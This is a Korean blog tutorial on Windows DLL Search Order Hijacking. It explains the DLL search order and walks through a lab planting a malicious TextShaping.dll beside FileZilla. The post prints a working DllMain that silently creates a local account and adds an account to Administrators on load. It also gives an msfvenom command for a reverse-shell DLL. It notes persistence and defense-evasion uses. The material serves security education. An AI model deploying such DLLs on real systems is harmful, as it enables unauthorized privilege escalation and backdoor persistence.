System/침투

DLL Search Order Hijacking

병뚜 2024. 12. 24. 17:33

이전에 작성한 DLL 하이재킹 관련 포스팅은 너무 지저분해서 리포스팅합니다.

 

주제

DLL Search Order Hjiacking 개념 및 간단한 실습

 

내용

DLL Search Order Hijacking은 Windows의 DLL 검색 순서를 악용하여, 원래 로드되어야할 DLL 대신 악성 DLL이 실행되도록 유도하는 취약점입니다. 본 포스팅에서는 DLL Hijacking의 개념과 DLL 검색 순서를 설명하고, 간단한 실습을 통해 이를 다뤄보겠습니다.

 

1. 사전 지식

라이브러리: 여러 프로그램에서 공통으로 사용할 수 있도록 만들어진 코드나 기능들의 모음

  • LIB(Static Link Library)
    • 프로그램이 컴파일될 때 라이브러리의 함수와 코드가 프로그램에 복사되어 결합
  • DLL(Dynamic-Link Library)
    • 프로그램이 실행될 때, 필요한 순간에만 라이브러리를 동적으로 로드
    • 실행 파일과 DLL 파일은 독립적으로 존재

DLL 예시: kernel32.dll이 export하는 함수 정보

 

2. DLL 검색 순서

Windows는 프로그램이 실행 중 필요한 DLL 파일을 로드할 때, 명시적으로 경로가 지정된 경우지정되지 않은 경우에 따라 다른 동작을 합니다.

 

경로를 지정한 경우: 검색 순서와 관계없이 해당 경로에서 DLL이 로드

HMODULE hModule = LoadLibrary("C:\\MyApp\\custom.dll");

 

경로를 지정하지 않은 경우: DLL 검색 순서에 따라 파일을 탐색

HMODULE hModule = LoadLibrary("custom.dll")

 

 

[DLL 검색 순서]

  1. DLL Redirection
  2. API Sets
    • Windows 운영 체제에서 제공하는 핵심 기능을 지원하는 DLL 파일(kernel32.dll, user32.dll, wininet.dll 등)
  3. SxS Manifest redirection
    • manifest 파일에 필요한 DLL 이름과 버전 명시
  4. 이미 메모리에 로드된 DLL
  5. Known DLLs(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs)
  6. 응용 프로그램 디렉터리
  7. 시스템 디렉터리(C:\Windows\System32)
  8. 16bit 시스템 디렉터리
  9. Windows 디렉터리(C:\Windows)
  10. 시스템 PATH 환경변수에 정의된 디렉터리
  11. 사용자 PATH 환경변수에 정의된 디렉터리
더보기

※ 현재 작업 디렉터리와 응용 프로그램 디렉터리의 차이

  • 현재 작업 디렉터리: C:\Users\\user01\
  • 응용 프로그램 디렉터리: C:\sysinternals\

 

3. DLL Hijacking 작동 원리

  • Windows는 프로그램이 DLL을 로드할 때 특정 검색 순서를 따릅니다.
  • 응용 프로그램 디렉터리(6) 등이 시스템 디렉터리(7)보다 우선적으로 검색됩니다.
    • Safe DLL Search Mode 가 비활성화된 경우, 현재 작업 디렉터리(10)가 시스템 디렉터리(7)보다 우선적으로 검색됩니다.
  • 공격자는 이러한 검색 순서를 악용하여 악성 DLL을 배치해서 프로그램의 동작을 조작할 수 있습니다.

 

4. 실습 - Simple DLL Hijacking

실습환경: Windows 11 Enterprise 22H2

실습대상: filezilla.exe

실습 시 사용하는 도구: procmon

 

가정: 실습대상의 응용프로그램 디렉터리에 쓰기 권한 존재

익스플로잇 과정:

Step 1) procmon.exe 통해 프로세스 이벤트 확인

  • procmon.exe(Process Moniter): 프로세스 분석 및 디버깅을 위해 registry, file, process/thread 등을 실시간으로 캡처하는 프로그램
  • filezila.exe 실행시 응용 프로그램 디렉터리에서 TextShaping.dll 검색 시도 → NAME NOT FOUND
  • 시스템 디렉터리에서 TextShaping.dll 검색 시도 → SUCCESS

 

Step 2) DLL 생성

// https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order
// $ x86_64-w64-mingw32-gcc TextShaping.cpp --shared -o TextShaping.dll

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: //DLL 로드 시 호출
	        int i;
	  	    i = system ("net user gngngn password123! /add");
	  	    i = system ("net localgroup administrators dave3 /add");
        case DLL_THREAD_ATTACH: //프로세스 내 스레드 생성 시 호출
        break;
        case DLL_THREAD_DETACH: //프로세스 내 스레드 종료 시 호출
        break;
        case DLL_PROCESS_DETACH: //DLL 언로드 시 호출
        break;
    }
    return TRUE;
}

 

※ MSFvenom을 사용하여 reverse shell 페이로드가 담긴 dll 파일 생성 가능. 본 글에서는 임의 계정 생성만 테스트

msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f dll -o (파일명)

 

Step 3) 응용 프로그램 디렉터리(C:\FileZilla\FileZilla FTP Client\)에 생성한 DLL 배치

  • 응용프로그램 디렉터리에 현재 사용자 쓰기 권한 필요

 

Step 4) filezilla.exe 재실행

 

Step 5) 악성 DLL 실행 확인

 

 

※ 공격 수행 시 고려사항

생성한 DLL 파일 에 타겟 프로그램이 import하는 함수 등의 리소스가 없으면 대부분 DLL 로드를 실패합니다. 따라서 공격자는 이러한 요구사항에 맞는 DLL을 작성해야 할 필요가 있습니다.

 

 

5. 활용과 한계

  설명
활용
- Privilege Escalation: 타겟 프로그램이 높은 권한으로 실행될 경우, 악성 DLL도 동일한 권한으로 실행되기에 권한 상승 시도 가능
- Persistence: 타겟 프로그램 실행 시마다 자동으로 악성 페이로드가 실행되므로 지속성 유지 가능
- Defense Evasion: 악성 DLL은 정상적인 애플리케이션 프로세스 내부에서 실행되므로 솔루션 탐지로부터 회피 가능
한계
- 타겟 프로그램이 낮은 권한으로 실행될 경우, 악성 DLL도 제한된 권한만 사용 가능
- 행위 기반 탐지 솔루션에서 비정상적인 DLL 로드를 탐지 / 시그니처 기반 탐지 솔루션에서 악성 DLL 탐지 가능
- 악성 DLL 생성 시 타겟 프로그램의 요구사항에 맞도록 설계해야 함

 

 

레퍼런스

- MITRE ATT&CK: DLL Search Order Hijacking (링크)

- OFFSEC

- Microsoft DLL Seasrch Order (링크)